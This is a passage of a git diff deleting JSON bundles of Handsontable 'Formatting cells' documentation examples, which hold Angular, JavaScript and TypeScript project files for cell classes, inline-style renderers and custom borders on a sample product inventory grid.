\"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-formatting-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n styles: `hot-table td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\nhot-table .custom-table thead th:nth-child(even),\nhot-table .custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n`,\n encapsulation: ViewEncapsulation.None,\n})\nexport class AppComponent {\n\n readonly data = [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n className: 'custom-table',\n cell: [\n {\n row: 0,\n col: 0,\n className: 'custom-cell',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/formatting-cells/angular/example1.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__angular__example2.ts.json deleted file mode 100644 index 30af0422..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer, textRenderer } from 'handsontable/renderers';\n\nregisterRenderer('customStylesRenderer', (hotInstance: Handsontable, TD: HTMLTableCellElement, row: number, col: number, prop: string | number, value: unknown, cellProperties: Handsontable.CellProperties) => {\n textRenderer(hotInstance, TD, row, col, prop, value, cellProperties);\n\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n});\n\n@Component({\n selector: 'example2-formatting-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n cell: [\n {\n row: 0,\n col: 0,\n renderer: 'customStylesRenderer',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/formatting-cells/angular/example2.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__angular__example3.ts.json deleted file mode 100644 index 4172a16f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer, textRenderer } from 'handsontable/renderers';\n\nregisterRenderer('customStylesRenderer', (hotInstance: Handsontable, TD: HTMLTableCellElement, row: number, col: number, prop: string | number, value: unknown, cellProperties: Handsontable.CellProperties) => {\n textRenderer(hotInstance, TD, row, col, prop, value, cellProperties);\n\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n});\n\n@Component({\n selector: 'example3-formatting-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ];\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n customBorders: [\n {\n range: {\n from: {\n row: 1,\n col: 1,\n },\n to: {\n row: 3,\n col: 4,\n },\n },\n top: {\n width: 2,\n color: '#5292F7',\n style: 'dotted',\n },\n bottom: {\n width: 2,\n color: 'red',\n },\n start: {\n width: 2,\n color: 'orange',\n style: 'dashed',\n },\n end: {\n width: 2,\n color: 'magenta',\n },\n },\n {\n row: 2,\n col: 2,\n start: {\n width: 2,\n color: 'red',\n },\n end: {\n width: 1,\n color: 'green',\n },\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/formatting-cells/angular/example3.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example1.js.json deleted file mode 100644 index c97482dd..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Formatting cells · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n className: 'custom-table',\n cell: [\n {\n row: 0,\n col: 0,\n className: 'custom-cell',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n.custom-table thead th:nth-child(even),\n.custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}"},"docsPath":"guides/cell-features/formatting-cells/javascript/example1.js","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example1.ts.json deleted file mode 100644 index d9d3c377..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Formatting cells · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n className: 'custom-table',\n cell: [\n {\n row: 0,\n col: 0,\n className: 'custom-cell',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n.custom-table thead th:nth-child(even),\n.custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}"},"docsPath":"guides/cell-features/formatting-cells/javascript/example1.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example2.js.json deleted file mode 100644 index 6c707bed..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer, registerRenderer } from 'handsontable/renderers';\n// register Handsontable's modules\nregisterAllModules();\nconst customStylesRenderer = (hotInstance, TD, ...rest) => {\n textRenderer(hotInstance, TD, ...rest);\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n};\nregisterRenderer('customStylesRenderer', customStylesRenderer);\nconst container = document.querySelector('#example2');\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n cell: [\n {\n row: 0,\n col: 0,\n renderer: 'customStylesRenderer',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example2.js","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example2.ts.json deleted file mode 100644 index 4b84af7b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer, registerRenderer } from 'handsontable/renderers';\nimport { BaseRenderer } from 'handsontable/renderers';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst customStylesRenderer: BaseRenderer = (hotInstance, TD, ...rest) => {\n textRenderer(hotInstance, TD, ...rest);\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n};\n\nregisterRenderer('customStylesRenderer', customStylesRenderer);\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n stretchH: 'all',\n cell: [\n {\n row: 0,\n col: 0,\n renderer: 'customStylesRenderer',\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example2.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example3.js.json deleted file mode 100644 index c18113de..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
